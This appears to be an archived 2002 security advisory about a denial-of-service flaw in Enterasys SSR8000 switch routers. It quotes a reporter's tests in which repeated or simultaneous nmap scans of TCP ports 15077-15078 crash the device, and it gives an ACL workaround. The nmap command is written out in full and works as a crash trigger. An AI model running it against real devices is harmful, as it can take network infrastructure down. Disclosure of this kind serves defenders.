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TUCoPS :: Network Appliances :: napl5692.htm

Enterasys Smart Switch Router scan crashes the system



16th Sep 2002 [SBWID-5692]
COMMAND

	
		Enterasys Smart Switch Router scan crashes the system
	
	

SYSTEMS AFFECTED

	
		Enterasys SSR8000 with firmware E8.2.0.0, and E8.3.0.4
	
	

PROBLEM

	
		Mella Marco [m.mella@saritel.it] says :
		

		

		Sending few packets on tcp ports 15077 and 15078 ...
		

		 Test 1

		 ======

		 

		From Linux-pc (IP 10.2.1.2) to SSR
		

		" nmap -PT 10.2.1.1 -p '15077-15078' "

		

		single scan Result : No Crash
		

		 Test 2

		 ======

		

		If we do two test
		

		nmap -PT 10.2.1.1 -p '15077-15078' 

		

		in same time or in few time Result : CPU at 1%, System go down
	
	

SOLUTION

	
		 Workaround

		 ==========

		

		ACL for denies any access to ports 15077 15078 from any interfaces
		

		 Patch

		 =====

		

	


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